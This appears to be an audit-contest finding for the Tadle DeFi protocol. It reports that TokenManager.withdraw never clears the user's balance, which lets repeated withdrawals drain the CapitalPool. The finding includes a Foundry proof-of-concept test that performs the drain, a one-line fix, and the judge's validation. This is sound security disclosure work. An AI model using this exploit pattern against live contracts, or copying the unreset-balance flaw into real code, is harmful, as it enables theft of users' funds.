Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Withdrawals can be used to drain the capital pool

dadekuma

Summary

Anyone can keep withdrawing to drain the CapitalPool as the balances have not been reset.

Vulnerability Details

  1. Alice creates an ASK offer for 1000 points and 1000 collateral

  2. Bob accepts and creates an order to buy 1000 points

  3. Alice is credited with 1000 SalesRevenue

  4. Alice can keep spamming withdraw to drain the pool, each call will get her 1000 collateral tokens

The issue is that balances are not subtracted when withdrawing here:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L148

POC, run forge test --via-ir --match-test forge test --via-ir --match-test test_h1_withdrawal_drain -vv:

function test_h1_withdrawal_drain() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 1000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Ask,
OfferSettleType.Protected
)
);
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
preMarktes.createTaker(offer0Addr, 1000);
vm.stopPrank();
​
// alice data
uint256 tokenAmount;
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 1000 * 1e18, "sales alice");
​
vm.startPrank(alice);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
vm.stopPrank();
​
uint256 drainedAmount = 1000 * 1e18 * 4; // 4 extra withdrawals, can keep going until total drain
assertEq(mockUSDCToken.balanceOf(alice), aliceInitialBalance + drainedAmount, "alice collateral balance");
} // forge test --via-ir --match-test forge test --via-ir --match-test test_h1_withdrawal_drain -vv

Impact

Impact: High (total loss of funds, the vault is drained)
Likelihood: High (anyone can do it without pre-conditions)

Risk: Critical

Tools Used

Manual Review

Recommendations

In TokenManager:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
// rest of the code
}

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L148

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.